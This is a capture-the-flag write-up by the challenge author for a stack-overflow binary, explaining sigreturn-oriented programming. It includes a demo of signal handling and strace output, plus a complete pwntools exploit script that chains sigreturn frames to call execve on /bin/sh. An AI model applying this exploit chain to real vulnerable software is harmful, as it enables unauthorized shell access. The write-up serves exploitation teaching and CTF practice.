SROP - IITB Trust Lab CTF
This challenge was created by me for Trust Lab CTF Round 1 held in September 2023
Challenge
The challenge was the following assembly code compiled using the command gcc -no-pie code.S -z noexecstack
.global main
.intel_syntax noprefix
.text
main:
sub rsp,0x200
mov eax,0
mov edi,0
lea rsi,[rsp]
mov edx,0x400
syscall
add rsp,0x200
ret
Writeup
We first do checksec to see the security parameters used in the binary.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
The stack is not exexcutable. The executable is not a Position-Independent-Executable. There is no stack canary. The instructions in the main function are:
00401102 sub rsp, 0x200
00401109 mov eax, 0x0
0040110e mov edi, 0x0
00401113 lea rsi, [rsp {var_200}]
00401117 mov edx, 0x400
0040111c syscall
0040111e add rsp, 0x200
00401125 retn {__return_addr}
The program creates a space of 0x200 on stack but reads 0x400 bytes from stdin. We can overwrite the return address here to jump to anywhere we want.
We have the address of the instruction syscall
which is fixed.
Putting 15 in rax
and putting 0x40111c in rip
will result in a sigreturn syscall,
thus giving us full control over the registers. (Sigreturn-Oriented Programming).
What is Sigreturn syscall?
Let’s see what happens when a signal is issued to program and the program has a signal handler for the same. Let’s consider the following program:
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
void sigint_handler(int signo){
printf("Interrupt Signal with signo %d recieved\n",signo);
return;
}
int main(){
signal(SIGINT,sigint_handler);
int i=0;
while(1){
printf("%d\n",i);
i++;
sleep(1);
}
}
This code prints numbers, until a SIGINT
is recieved, handles the SIGINT
signal and continues to print.
The output of the above code looks like the following:
0
1
^CInterrupt Signal with signo 2 recieved
2
3
^CInterrupt Signal with signo 2 recieved
4
^CInterrupt Signal with signo 2 recieved
5
6
^CInterrupt Signal with signo 2 recieved
7
When the signal is recieved, the control goes to the kernel space. Every register value is put on stack and the control goes back to user space. The handler function is executed, after which the control goes back to kernel space to restore the state of program. Sigreturn syscall is used for the same. We can use strace to see that syscall. The following is the output of strace.
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=0}, 0x7ffc41674a00) = 0
write(1, "7\n", 27
) = 2
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=0}, {tv_sec=0, tv_nsec=241520488}) = ? ERESTART_RESTARTBLOCK (Interrupted by signal)
--- SIGINT {si_signo=SIGINT, si_code=SI_USER, si_pid=1378514, si_uid=1000} ---
write(1, "Interrupt Signal with signo 2 re"..., 39Interrupt Signal with signo 2 recieved
) = 39
rt_sigreturn({mask=[]}) = -1 EINTR (Interrupted system call)
write(1, "8\n", 28
) = 2
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=0}, 0x7ffc41674a00) = 0
write(1, "9\n", 29
) = 2
Here is what manpage has to say about the rt_sigreturn
or sigreturn
syscall.
sigreturn, rt_sigreturn - return from signal handler and cleanup stack frame
So, the sigreturn syscall restores the values of registers from the stack.
If we call this syscall, in absence of any signal taking place, the registers are not stored on stack.
If we can write on stack in that region, we can carefully fill the stack in such a way that the register values are whatever we want.
This is how sigreturn syscall works and how it can be used for Sigreturn Oriented Programming.
For creating the frame to put on stack, we can use SigreturnFrame()
from python pwntools library.
So, first, we need to find a way to put 15 in rax
. We can control rax
using the return value of syscall
.
So, first, if we jump to 0x401102, the program reads bytes from stdin and puts number of bytes read in rax
.
The next return address should be to 0x40111c, so that we get a sigreturn syscall
. After that, the stack should store a valid Sigreturn Frame.
So, we can write this for now.
payload = b'A'*0x200 # padding
payload += p64(0x401102) # return to reading to set rax = 15
payload += p64(0x40111c) # return to syscal after getting rax = 15
For now, we have the following view of stack.
AAAA...AAAA padding of 0x200 bytes
02 11 40 00 00 00 00 00 return address to jump to start of main
1c 11 40 00 00 00 00 00 return address to instruction syscall
After the above part, we need to put sigreturn frame. It can easily be done using python pwntools using SigreturnFrame()
.
In order to spawn shell, we need a string /bin/bash
somewhere so that we can put it’s address in corresponding register.
Using memory map we see that the page starting from 0x404000 is writable.
00400000-00401000 r--p 00000000
00401000-00402000 r-xp 00001000
00402000-00403000 r--p 00002000
00403000-00404000 r--p 00003000
00404000-00405000 rw-p 00004000
So, we can write /bin/bash
on address 0x404000 and use it later.
Therefore, we use the following values for the registers.
context.arch = 'amd64'
frame0 = SigreturnFrame()
frame0.rax = 0 # read syscall
frame0.rdi = 0 # fd = 0
frame0.rsi = 0x404000 # writable section available
frame0.rsp = 0x404000
frame0.rdx = 0x500 # count
frame0.rip = 0x40111c # syscall instruction
payload += bytes(frame0)
p.send(payload)
After sending this, we need to send 15 bytes to stdin so that rax
has value 15.
p.send(b'A'*15) # to set rax = 15
Now, one more read syscall is done. This time, the input will be stored at 0x404000.
Moreover, the rsp
is also changed to 0x404000. Thus, after completing the syscall, we return to the return address written at 0x404200.
This time, for return addresses, we do as before i.e. use read syscall to put 15 in rax
followed by syscall
for sigreturn syscall.
payload = b'/bin/sh\x00' + cyclic(0x200-len(b'/bin/sh\x00')) # padding
payload += p64(0x401102) # return to reading to set rax = 15
payload += p64(0x40111c) # return to syscal after getting rax = 15
This time, we need to make the sigreturn frame to do a syscall. We have written /bin/bash
at address 0x404000.
frame1=SigreturnFrame()
frame1.rax=59 # execve syscall
frame1.rsi = 0 # argv
frame1.rdx=0 # envp
frame1.rdi=0x404000 # contains string /bin/sh
frame1.rip = 0x40111c
payload += bytes(frame1)
p.send(payload)
Now, again, we need to send 15 bytes to ensure a sigreturn syscall.
p.send(b'A'*15)
p.interactive()
Now, we get the shell and we can print the flag now.
Solution Script
Here is the solution script I made for the challenge.
from pwn import *
context.log_level = 'debug'
elf = ELF('./a.out')
p = process('./a.out')
payload = b'A'*0x200 # padding
payload += p64(0x401102) # return to reading to set rax = 15
payload += p64(0x40111c) # return to syscal after getting rax = 15
context.arch = 'amd64'
frame0 = SigreturnFrame()
frame0.rax = 0 # read syscall
frame0.rdi = 0 # fd = 0
frame0.rsi = 0x404000 # writable section available
frame0.rsp = 0x404000
frame0.rdx = 0x500 # count
frame0.rip = 0x40111c # syscall instruction
payload += bytes(frame0)
p.send(payload)
sleep(1)
p.send(b'A'*15) # to set rax = 15
sleep(1)
### ALL REGISTERS REFRESHED
payload = b'/bin/sh\x00' + cyclic(0x200-len(b'/bin/sh\x00')) # padding
payload += p64(0x401102) # return to reading to set rax = 15
payload += p64(0x40111c) # return to syscal after getting rax = 15
frame1=SigreturnFrame()
frame1.rax=59 # execve syscall
frame1.rsi = 0 # argv
frame1.rdx=0 # envp
frame1.rdi=0x404000 # contains string /bin/sh
frame1.rip = 0x40111c
payload += bytes(frame1)
p.send(payload)
sleep(1)
p.send(b'A'*15)
sleep(1)
p.interactive()